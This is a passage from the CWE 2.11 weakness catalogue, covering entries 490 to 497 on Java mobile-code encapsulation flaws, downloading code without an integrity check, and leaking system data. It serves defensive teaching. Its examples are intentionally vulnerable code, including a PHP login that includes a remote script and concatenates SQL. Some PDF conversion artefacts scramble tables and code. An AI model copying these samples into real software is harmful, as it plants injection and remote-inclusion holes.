Which will grant the attacker access to the site, bypassing the authentication process.

**Potential Mitigations**

- **Build and Compilation**
- **Distribution**

  Remove debug code before deploying the application.

**Other Notes**

In J2EE a main method may be a good indicator that debug code has been left in the application, although there may not be any direct security impact.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>485</td>
<td>Insufficient Encapsulation</td>
<td>699</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-490: Mobile Code Issues

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>C</td>
<td>731</td>
<td>OWASP Top Ten 2004 Category A10 - Insecure Configuration Management</td>
<td>711</td>
</tr>
<tr>
<td></td>
<td>C</td>
<td>1002</td>
<td>SFP Secondary Cluster: Unexpected Entry Points</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td>V</td>
<td>630</td>
<td>Weaknesses Examined by SAMATE</td>
<td>630</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td></td>
<td>Leftover Debug Code</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A10</td>
<td>CWE More Specific</td>
<td>Insecure Configuration Management</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP28</td>
<td></td>
<td>Unexpected access points</td>
</tr>
</tbody>
</table>

White Box Definitions

A weakness where code path has a statement that defines an entry point into an application which exposes additional state and control information

CWE-490: Mobile Code Issues

Category ID: 490 (Category)     Status: Draft

Description

Summary

Weaknesses in this category are frequently found in mobile code.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>485</td>
<td>Insufficient Encapsulation</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>491</td>
<td>Public cloneable() Method Without Final ('Object Hijack')</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>492</td>
<td>Use of Inner Class Containing Sensitive Data</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>493</td>
<td>Critical Public Variable Without Final Modifier</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>494</td>
<td>Download of Code Without Integrity Check</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>582</td>
<td>Array Declared Public, Final, and Static</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>583</td>
<td>finalize() Method Declared Public</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>699</td>
<td>Development Concepts</td>
<td>699</td>
</tr>
</tbody>
</table>

CWE-491: Public cloneable() Method Without Final ('Object Hijack')

Weakness ID: 491 (Weakness Variant)     Status: Draft

Description

Summary

A class has a cloneable() method that is not declared final, which allows an object to be created without calling the constructor. This can cause the object to be in an unexpected state.

Time of Introduction

• Implementation

Applicable Platforms

Languages

• Java

Common Consequences

Integrity

Other

Unexpected state

Varies by context

Demonstrative Examples

Example 1:
In this example, a public class "BankAccount" implements the cloneable() method which declares "Object clone(string accountnumber)"

### Java Example:
```java
public class BankAccount implements Cloneable{
    public Object clone(String accountnumber) throws CloneNotSupportedException {
        Object returnMe = new BankAccount(account number);
        ...
    }
}
```

### Example 2:
In the example below, a clone() method is defined without being declared final.

### Java Example:
```java
protected Object clone() throws CloneNotSupportedException {
    ...
}
```

### Potential Mitigations
**Implementation**
Make the cloneable() method final.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>485</td>
<td>Insufficient Encapsulation</td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>490</td>
<td>Mobile Code Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>849</td>
<td>CERT Java Secure Coding Section 04 - Object Orientation (OBJ)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>1002</td>
<td>SFP Secondary Cluster: Unexpected Entry Points</td>
<td>888</td>
</tr>
</tbody>
</table>

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>OBJ07-J</td>
<td>Mobile Code: Object Hijack</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>SFP28</td>
<td>Sensitive classes must not let themselves be copied</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td></td>
<td>Unexpected access points</td>
</tr>
</tbody>
</table>

### References

---

**CWE-492: Use of Inner Class Containing Sensitive Data**

**Weakness ID:** 492 (Weakness Variant)  
**Status:** Draft

### Description

#### Summary
Inner classes are translated into classes that are accessible at package scope and may expose code that the programmer intended to keep private to attackers.

#### Extended Description
Inner classes quietly introduce several security concerns because of the way they are translated into Java bytecode. In Java source code, it appears that an inner class can be declared to be accessible only by the enclosing class, but Java bytecode has no concept of an inner class, so the compiler must transform an inner class declaration into a peer class with package level access to the original outer class. More insidiously, since an inner class can access private fields in their enclosing class, once an inner class becomes a peer class in bytecode, the compiler converts private fields accessed by the inner class into protected fields.

### Time of Introduction
- Implementation
CWE Version 2.11
CWE-492: Use of Inner Class Containing Sensitive Data

Applicable Platforms

Languages

• Java

Common Consequences

Confidentiality

Read application data

"Inner Classes" data confidentiality aspects can often be overcome.

Likelihood of Exploit

Medium

Demonstrative Examples

Example 1:
The following Java Applet code mistakenly makes use of an inner class.

Java Example:

```java
public final class urlTool extends Applet {
    private final class urlHelper {
        ...
    }
    ...}
```

Example 2:
The following example shows a basic use of inner classes. The class OuterClass contains the private member inner class InnerClass. The private inner class InnerClass includes the method concat that accesses the private member variables of the class OuterClass to output the value of one of the private member variables of the class OuterClass and returns a string that is a concatenation of one of the private member variables of the class OuterClass, the separator input parameter of the method and the private member variable of the class InnerClass.

Java Example:

```java
public class OuterClass {
    // private member variables of OuterClass
    private String memberOne;
    private String memberTwo;
    // constructor of OuterClass
    public OuterClass(String varOne, String varTwo) {
        this.memberOne = varOne;
        this.memberTwo = varTwo;
    }
    // InnerClass is a member inner class of OuterClass
    private class InnerClass {
        private String innerMemberOne;
        public InnerClass(String innerVarOne) {
            this.innerMemberOne = innerVarOne;
        }
        public String concat(String separator) {
            // InnerClass has access to private member variables of OuterClass
            System.out.println("Value of memberOne is: " + memberOne);
            return OuterClass.this.memberTwo + separator + this.innerMemberOne;
        }
    }
}
```

Although this is an acceptable use of inner classes it demonstrates one of the weaknesses of inner classes that inner classes have complete access to all member variables and methods of the enclosing class even those that are declared private and protected. When inner classes are compiled and translated into Java bytecode the JVM treats the inner class as a peer class with package level access to the enclosing class.

To avoid this weakness of inner classes, consider using either static inner classes, local inner classes, or anonymous inner classes.
The following Java example demonstrates the use of static inner classes using the previous example. The inner class InnerClass is declared using the static modifier that signifies that InnerClass is a static member of the enclosing class OuterClass. By declaring an inner class as a static member of the enclosing class, the inner class can only access other static members and methods of the enclosing class and prevents the inner class from accessing nonstatic member variables and methods of the enclosing class. In this case the inner class InnerClass can only access the static member variable memberTwo of the enclosing class OuterClass but cannot access the nonstatic member variable memberOne.

Java Example:

```java
public class OuterClass {
    // private member variables of OuterClass
    private String memberOne;
    private static String memberTwo;
    // constructor of OuterClass
    public OuterClass(String varOne, String varTwo) {
        this.memberOne = varOne;
        this.memberTwo = varTwo;
    }
    // InnerClass is a static inner class of OuterClass
    private static class InnerClass {
        private String innerMemberOne;
        public InnerClass(String innerVarOne) {
            this.innerMemberOne = innerVarOne;
        }
        public String concat(String separator) {
            // InnerClass only has access to static member variables of OuterClass
            return memberTwo + separator + this.innerMemberOne;
        }
    }
}
```

The only limitation with using a static inner class is that as a static member of the enclosing class the inner class does not have a reference to instances of the enclosing class. For many situations this may not be ideal. An alternative is to use a local inner class or an anonymous inner class as shown in the next examples.

Example 3:

In the following example the BankAccount class contains the private member inner class InterestAdder that adds interest to the bank account balance. The start method of the BankAccount class creates an object of the inner class InterestAdder, the InterestAdder inner class implements the ActionListener interface with the method actionPerformed. A Timer object created within the start method of the BankAccount class invokes the actionPerformed method of the InterestAdder class every 30 days to add the interest to the bank account balance based on the interest rate passed to the start method as an input parameter. The inner class InterestAdder needs access to the private member variable balance of the BankAccount class in order to add the interest to the bank account balance.

However as demonstrated in the previous example, because InterestAdder is a non-static member inner class of the BankAccount class, InterestAdder also has access to the private member variables of the BankAccount class - including the sensitive data contained in the private member variables for the bank account owner's name, Social Security number, and the bank account number.

Java Example:

```java
public class BankAccount {
    // private member variables of BankAccount class
    private String accountOwnerName;
    private String accountOwnerSSN;
    private int accountNumber;
    private double balance;
    // constructor for BankAccount class
    public BankAccount(String accountOwnerName, String accountOwnerSSN, int accountNumber, double initialBalance, int initialRate)
```
CWE-492: Use of Inner Class Containing Sensitive Data

In the following example the InterestAdder class from the above example is declared locally within the start method of the BankAccount class. As a local inner class InterestAdder has its scope restricted to the method (or enclosing block) where it is declared, in this case only the start method has access to the inner class InterestAdder, no other classes including the enclosing class has knowledge of the inner class outside of the start method. This allows the inner class to access private member variables of the enclosing class but only within the scope of the enclosing method or block.

Java Example:

```java
public class BankAccount {
    // private member variables of BankAccount class
    private String accountOwnerName;
    private String accountOwnerSSN;
    private int accountNumber;
    private double balance;
    // constructor for BankAccount class
    public BankAccount(String accountOwnerName, String accountOwnerSSN, int accountNumber, double initialBalance, int initialRate) {
        this.accountOwnerName = accountOwnerName;
        this.accountOwnerSSN = accountOwnerSSN;
        this.accountNumber = accountNumber;
        this.balance = initialBalance;
        this.start(initialRate);
    }
    // start method will add interest to balance every 30 days
    // creates timer object and interest adding action listener object
    public void start(double rate) {
        // InterestAdder is a local inner class
        // that implements the ActionListener interface
        class InterestAdder implements ActionListener {
            public void actionPerformed(ActionEvent event) {
                double interest = balance * rate / 100;
                balance += interest;
            }
        }
        ActionListener adder = new InterestAdder(rate);
        Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
        t.start();
    }
}
```
A similar approach would be to use an anonymous inner class as demonstrated in the next example. An anonymous inner class is declared without a name and creates only a single instance of the inner class object. As in the previous example the anonymous inner class has its scope restricted to the start method of the BankAccount class.

Java Example:

```java
public class BankAccount {
    // private member variables of BankAccount class
    private String accountOwnerName;
    private String accountOwnerSSN;
    private int accountNumber;
    private double balance;
    // constructor for BankAccount class
    public BankAccount(String accountOwnerName, String accountOwnerSSN, int accountNumber, double initialBalance, int initialRate) {
        this.accountOwnerName = accountOwnerName;
        this.accountOwnerSSN = accountOwnerSSN;
        this.accountNumber = accountNumber;
        this.balance = initialBalance;
        this.start(initialRate);
    }
    // start method will add interest to balance every 30 days
    // creates timer object and interest adding action listener object
    public void start(final double rate) {
        // anonymous inner class that implements the ActionListener interface
        ActionListener adder = new ActionListener() {
            public void actionPerformed(ActionEvent event) {
                // update interest
                double interest = BankAccount.this.balance * rate / 100;
                BankAccount.this.balance += interest;
            }
        };
        Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
        t.start();
    }
}
```

Example 4:

In the following Java example a simple applet provides the capability for a user to input a URL into a text field and have the URL opened in a new browser window. The applet contains an inner class that is an action listener for the submit button, when the user clicks the submit button the inner class action listener's actionPerformed method will open the URL entered into the text field in a new browser window. As with the previous examples using inner classes in this manner creates a security risk by exposing private variables and methods. Inner classes create an additional security risk with applets as applets are executed on a remote machine through a web browser within the same JVM and therefore may run side-by-side with other potentially malicious code.

```java
public class UrlToolApplet extends Applet {
    // private member variables for applet components
    private Label enterUrlLabel;
```
private TextField enterUrlTextField;
private Button submitButton;
// init method that adds components to applet
// and creates button listener object
public void init() {
   setLayout(new FlowLayout());
    enterUrlLabel = new Label("Enter URL: ");
    enterUrlTextField = new TextField("", 20);
    submitButton = new Button("Submit");
    add(enterUrlLabel);
    add(enterUrlTextField);
    add(submitButton);
    ActionListener submitButtonListener = new SubmitButtonListener();
    submitButton.addActionListener(submitButtonListener);
}
// button listener inner class for UrlToolApplet class
private class SubmitButtonListener implements ActionListener {
    public void actionPerformed(ActionEvent evt) {
        if (evt.getSource() == submitButton) {
            String urlString = enterUrlTextField.getText();
            URL url = null;
            try {
                url = new URL(urlString);
                System.err.println("Malformed URL: " + urlString);
            } catch (MalformedURLException e) {
            }
        }
    }
}

As with the previous examples a solution to this problem would be to use a static inner class,
a local inner class or an anonymous inner class. An alternative solution would be to have the
applet implement the action listener rather than using it as an inner class as shown in the following
element.

Java Example:

public class UrlToolApplet extends Applet implements ActionListener {
    // private member variables for applet components
    private Label enterUrlLabel;
    private TextField enterUrlTextField;
    private Button submitButton;
    // init method that adds components to applet
    public void init() {
        setLayout(new FlowLayout());
        enterUrlLabel = new Label("Enter URL: ");
        enterUrlTextField = new TextField("", 20);
        submitButton = new Button("Submit");
        add(enterUrlLabel);
        add(enterUrlTextField);
        add(submitButton);
        submitButton.addActionListener(this);
    }
    // implementation of actionPerformed method of ActionListener interface
    public void actionPerformed(ActionEvent evt) {
        if (evt.getSource() == submitButton) {
            String urlString = enterUrlTextField.getText();
            URL url = null;
            try {
                url = new URL(urlString);
                System.err.println("Malformed URL: " + urlString);
            } catch (MalformedURLException e) {
            }
        }
    }
}
Potential Mitigations

Implementation
Using sealed classes protects object-oriented encapsulation paradigms and therefore protects code from being extended in unforeseen ways.

Implementation
Inner Classes do not provide security. Warning: Never reduce the security of the object from an outer class, going to an inner class. If an outer class is final or private, ensure that its inner class is private as well.

Other Notes
Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects’ state and behavior by adversaries who have access to the same virtual machine where your program is running.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>485</td>
<td>Insufficient Encapsulation</td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>490</td>
<td>Mobile Code Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>849</td>
<td>CERT Java Secure Coding Section 04 - Object Orientation (OBJ)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>966</td>
<td>SFP Secondary Cluster: Other Exposures</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>Mobile Code: Use of Inner Class</td>
</tr>
<tr>
<td>CLASP</td>
<td></td>
<td>Publicizing of private data when using inner classes</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>OBJ08-J</td>
<td>Do not expose private members of an outer class from within a nested class</td>
</tr>
</tbody>
</table>

CWE-493: Critical Public Variable Without Final Modifier

Weakness ID: 493 (Weakness Variant)  Status: Draft

Description

Summary
The product has a critical public variable that is not final, which allows the variable to be modified to contain unexpected values.

Extended Description
If a field is non-final and public, it can be changed once the value is set by any function that has access to the class which contains the field. This could lead to a vulnerability if other parts of the program make assumptions about the contents of that field.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• Java
• C++

Common Consequences
CWE Version 2.11
CWE-493: Critical Public Variable Without Final Modifier

Integrity
Modify application data
The object could potentially be tampered with.

Confidentiality
Read application data
The object could potentially allow the object to be read.

Likelihood of Exploit
High

Demonstrative Examples

Example 1:
Suppose this WidgetData class is used for an e-commerce web site. The programmer attempts to
prevent price-tampering attacks by setting the price of the widget using the constructor.

Java Example:

```java
public final class WidgetData extends Applet {
    public float price;
    ...
    public WidgetData(...) {
        this.price = LookupPrice("MyWidgetType");
    }
}
```

The price field is not final. Even though the value is set by the constructor, it could be modified by
anybody that has access to an instance of WidgetData.

Example 2:
Assume the following code is intended to provide the location of a configuration file that controls
execution of the application.

C++ Example:

```c
public string configPath = "/etc/application/config.dat";
```

Java Example:

```java
public String configPath = new String("/etc/application/config.dat");
```

While this field is readable from any function, and thus might allow an information leak of a
pathname, a more serious problem is that it can be changed by any function.

Potential Mitigations

Implementation
Declare all public fields as final when possible, especially if it is used to maintain internal state of
an Applet or of classes used by an Applet. If a field must be public, then perform all appropriate
sanity checks before accessing the field from your code.

Background Details
Mobile code, such as a Java Applet, is code that is transmitted across a network and executed on
a remote machine. Because mobile code developers have little if any control of the environment
in which their code will execute, special security concerns become relevant. One of the biggest
environmental threats results from the risk that the mobile code will run side-by-side with other,
potentially malicious, mobile code. Because all of the popular web browsers execute code from
multiple sources together in the same JVM, many of the security guidelines for mobile code are
focused on preventing manipulation of your objects' state and behavior by adversaries who have
access to the same virtual machine where your program is running.

Final provides security by only allowing non-mutable objects to be changed after being set.
However, only objects which are not extended can be made final.
**CWE-494: Download of Code Without Integrity Check**

| Weakness ID: 494 (Weakness Base) | Status: Draft |

**Description**

**Summary**

The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.

**Extended Description**

An attacker can execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- Language-independent

**Common Consequences**

- Integrity
- Availability
- Confidentiality
- Other

**Execute unauthorized code or commands**

**Alter execution logic**

**Other**

Executing untrusted code could compromise the control flow of the program. The untrusted code could execute attacker-controlled commands, read or modify sensitive resources, or prevent the software from functioning correctly for legitimate users.

**Likelihood of Exploit**

Medium

**Detection Methods**

**Manual Analysis**

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is typically required to find the behavior that triggers the download of code, and to determine whether integrity-checking methods are in use. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and also sniff the network connection. Trigger features related to product updates or plugin installation, which is likely to force a code download. Monitor when files are downloaded and separately executed, or if they are otherwise read back into the process. Look for evidence of cryptographic library calls that use integrity checking.

Demonstrative Examples

Example 1:

This example loads an external class from a local subdirectory.

Java Example:

```java
URL[] classURLs= new URL[]{
    new URL("file:subdir/")
};
URLClassLoader loader = new URLClassLoader(classURLs);
Class loadedClass = Class.forName("loadMe", true, loader);
```

This code does not ensure that the class loaded is the intended one, for example by verifying the class's checksum. An attacker may be able to modify the class file to execute malicious code.

Example 2:

This code includes an external script to get database credentials, then authenticates a user against the database, allowing access to the application.

PHP Example:

```php
//assume the password is already encrypted, avoiding CWE-312
function authenticate($username, $password){
    include("http://external.example.com/dbInfo.php");
    //dbInfo.php makes $dbhost, $dbuser, $dbpass, $dbname available
    mysql_connect($dbhost, $dbuser, $dbpass) or die ("Error connecting to mysql");
    mysql_select_db($dbname);
    $query = 'Select * from users where username='.$username.' And password='.$password;
    $result = mysql_query($query);
    if(mysql_numrows($result) == 1){
        mysql_close();
        return true;
    } else{
        mysql_close();
        return false;
    }
}
```

This code does not verify that the external domain accessed is the intended one. An attacker may somehow cause the external domain name to resolve to an attack server, which would provide the information for a false database. The attacker may then steal the usernames and encrypted passwords from real user login attempts, or simply allow himself to access the application without a real user account.

This example is also vulnerable to a Man in the Middle (CWE-300) attack.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1125</td>
<td>anti-virus product does not verify automatic updates for itself.</td>
</tr>
<tr>
<td>CVE-2002-0671</td>
<td>VOIP phone downloads applications from web sites without verifying integrity.</td>
</tr>
<tr>
<td>CVE-2008-3324</td>
<td>online poker client does not verify authenticity of its own updates.</td>
</tr>
<tr>
<td>CVE-2008-3438</td>
<td>OS does not verify authenticity of its own updates.</td>
</tr>
</tbody>
</table>
Potential Mitigations

Implementation
Perform proper forward and reverse DNS lookups to detect DNS spoofing. This is only a partial solution since it will not prevent your code from being modified on the hosting site or in transit.

Architecture and Design
Operation
Encrypt the code with a reliable encryption scheme before transmitting. This will only be a partial solution, since it will not detect DNS spoofing and it will not prevent your code from being modified on the hosting site.

Architecture and Design
Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Specifically, it may be helpful to use tools or frameworks to perform integrity checking on the transmitted code.
When providing the code that is to be downloaded, such as for automatic updates of the software, then use cryptographic signatures for the code and modify the download clients to verify the signatures. Ensure that the implementation does not contain CWE-295, CWE-320, CWE-347, and related weaknesses.
Use code signing technologies such as Authenticode. See references [R.494.1] [R.494.2] [R.494.3].

Architecture and Design
Operation
Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.494.7]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Architecture and Design
Operation
Sandbox or Jail
Limited
Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
Be careful to avoid CWE-243 and other weaknesses related to jails.
The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>PeerOf</td>
<td>🕒</td>
<td>79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
<td>131</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🕒</td>
<td>490</td>
<td>Mobile Code Issues</td>
<td>828</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🕒</td>
<td>669</td>
<td>Incorrect Resource Transfer Between Spheres</td>
<td>1039</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🕒</td>
<td>752</td>
<td>2009 Top 25 - Risky Resource Management</td>
<td>1145</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-495: Private Array-Typed Field Returned From A Public Method

The product has a method that is declared public, but returns a reference to a private array, which could then be modified in unexpected ways.

References
Languages
- C
- C++
- Java
- .NET

Common Consequences
Integrity
Modify application data
The contents of the array can be modified from outside the intended scope.

Demonstrative Examples
Here, a public method in a Java class returns a reference to a private array. Given that arrays in Java are mutable, any modifications made to the returned reference would be reflected in the original private array.

Java Example:
```java
private String[] colors;
public String[] getColors() {
    return colors;
}
```

Potential Mitigations
Implementation
Declare the method private.

Implementation
Clone the member data and keep an unmodified version of the data private to the object.

Implementation
Use public setter methods that govern how a member can be modified.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>485</td>
<td>Insufficient Encapsulation</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>700</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>SFP23</td>
<td>Private Array-Typed Field Returned From A Public Method</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td></td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>

White Box Definitions
A weakness where code path has a statement that belongs to a public method and returns a reference to a private array field

CWE-496: Public Data Assigned to Private Array-Typed Field

<table>
<thead>
<tr>
<th>Weakness ID: 496 (Weakness Variant)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

Description

Summary
Assigning public data to a private array is equivalent to giving public access to the array.

Time of Introduction
- Implementation

Applicable Platforms

Languages
- C
- C++
CWE-497: Exposure of System Data to an Unauthorized Control Sphere

Common Consequences

**Integrity**

**Modify application data**

The contents of the array can be modified from outside the intended scope.

Demonstrative Examples

In the example below, the `setRoles()` method assigns a publically-controllable array to a private field, thus allowing the caller to modify the private array directly by virtue of the fact that arrays in Java are mutable.

**Java Example:**

```java
private String[] userRoles;
public void setUserRoles(String[] userRoles) {
    this.userRoles = userRoles;
}
```

Potential Mitigations

**Implementation**

Do not allow objects to modify private members of a class.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>485</td>
<td>Insufficient Encapsulation</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>700</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>994</td>
<td>SFP Secondary Cluster: Tainted Input to Variable</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>888</td>
</tr>
<tr>
<td></td>
<td>MemberOf</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>1323</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>497</td>
<td>Public Data Assigned to Private Array-Typed Field</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP25</td>
<td>Tainted input to variable</td>
</tr>
</tbody>
</table>

White Box Definitions

A weakness where code path has a statement that assigns a data item to a private array field and the data item is public

**CWE-497: Exposure of System Data to an Unauthorized Control Sphere**

<table>
<thead>
<tr>
<th>Weakness ID: 497 (Weakness Variant)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

**Description**

**Summary**

Exposing system data or debugging information helps an adversary learn about the system and form an attack plan.

**Extended Description**

An information exposure occurs when system data or debugging information leaves the program through an output stream or logging function that makes it accessible to unauthorized parties. An attacker can also cause errors to occur by submitting unusual requests to the web application. The response to these errors can reveal detailed system information, deny service, cause security mechanisms to fail, and crash the server. An attacker can use error messages that reveal technologies, operating systems, and product versions to tune the attack against known vulnerabilities in these technologies. An application may use diagnostic methods that provide significant implementation details such as stack traces as part of its error handling mechanism.

**Time of Introduction**

- Implementation

**Applicable Platforms**

- Java
- .NET
Languages
• All

Common Consequences
Confidentiality
Read application data

Demonstrative Examples
Example 1:
The following code prints the path environment variable to the standard error stream:

**C Example:**
```c
char* path = getenv("PATH");
...
sprintf(stderr, "cannot find exe on path %s\n", path);
```

Example 2:
The following code prints an exception to the standard error stream:

**Java Example:**
```java
try {
    ...
} catch (Exception e) {
    e.printStackTrace();
}
```
```java
try {
    ...
} catch (Exception e) {
    Console.WriteLine(e);
}
```

Depending upon the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system will be vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

Example 3:
The following code constructs a database connection string, uses it to create a new connection to the database, and prints it to the console.

**C# Example:**
```csharp
string cs="database=northwind; server=mySQLServer...;"
SqlConnection conn=new SqlConnection(cs);
...
Console.WriteLine(cs);
```

